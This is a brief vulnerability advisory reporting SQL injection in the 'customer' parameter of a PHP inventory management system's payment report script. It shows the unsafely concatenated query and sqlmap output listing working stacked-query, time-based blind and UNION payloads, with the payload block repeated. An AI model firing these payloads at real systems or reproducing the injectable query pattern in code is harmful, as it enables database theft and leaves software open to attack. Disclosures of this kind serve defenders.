SQL injection vulnerability exists in customer parameter of app/ajax/search_purchase_paymen_report.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
require_once '../init.php';
    if (isset($_POST) && !empty($_POST)) {
        $issueData = $_POST['issuedate'];
        $customer = $_POST['customer'];


        $data = explode('-', $issueData);
      $issu_first_date = $obj->convertDateMysql($data[0]);
        $issu_end_date = $obj->convertDateMysql($data[1]);
```

```php
            $stmt = $pdo->prepare("SELECT SUM(`payment_amount`) FROM
            `purchase_payment` WHERE `payment_date` BETWEEN '$issu_first_date'
            AND '$issu_end_date' AND `suppliar_id` = $customer");
            $stmt->execute();
            $res = $stmt->fetch(PDO::FETCH_NUM);
            echo $res[0];
        ?>
```

```
sqlmap identified the following injection point(s) with a total of 122 HTTP(s) requests:
---
Parameter: customer (POST)
    Type: stacked queries
    Title: MySQL ≥ 5.0.12 stacked queries (comment)
    Payload: &customer=-10';SELECT SLEEP(5)#&issuedate=issuedate

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: &customer=-10' AND (SELECT 5884 FROM (SELECT(SLEEP(5)))MzLg) AND 'SVby'='SVby&issuedate=issuedate

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: &customer=-10' UNION ALL SELECT NULL,CONCAT(0x71626b7071,0x72737a437946566263627a566e565645726f5872656a6456486255527a6f7
6776f4d4d7256756663,0x7170707171),NULL,NULL,NULL-- -&issuedate=issuedate
---
```

“

Parameter: customer (POST)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: &customer=-10';SELECT SLEEP(5)#&issuedate=issuedate

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: &customer=-10' AND (SELECT 5884 FROM (SELECT(SLEEP(5)))MzLg) AND 'SVby'='SVby&issuedate=issuedate

Type: UNION query

Title: Generic UNION query (NULL) - 5 columns

Payload: &customer=-10' UNION ALL SELECT NULL,CONCAT(0x71626b7071,0x72737a437946566263627a566e565645726f5872656a64564862
55527a6f76776f4d4d7256756663,0x7170707171),NULL,NULL,NULL-- -&issuedate=issuedate

---

“

Source Download：
https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html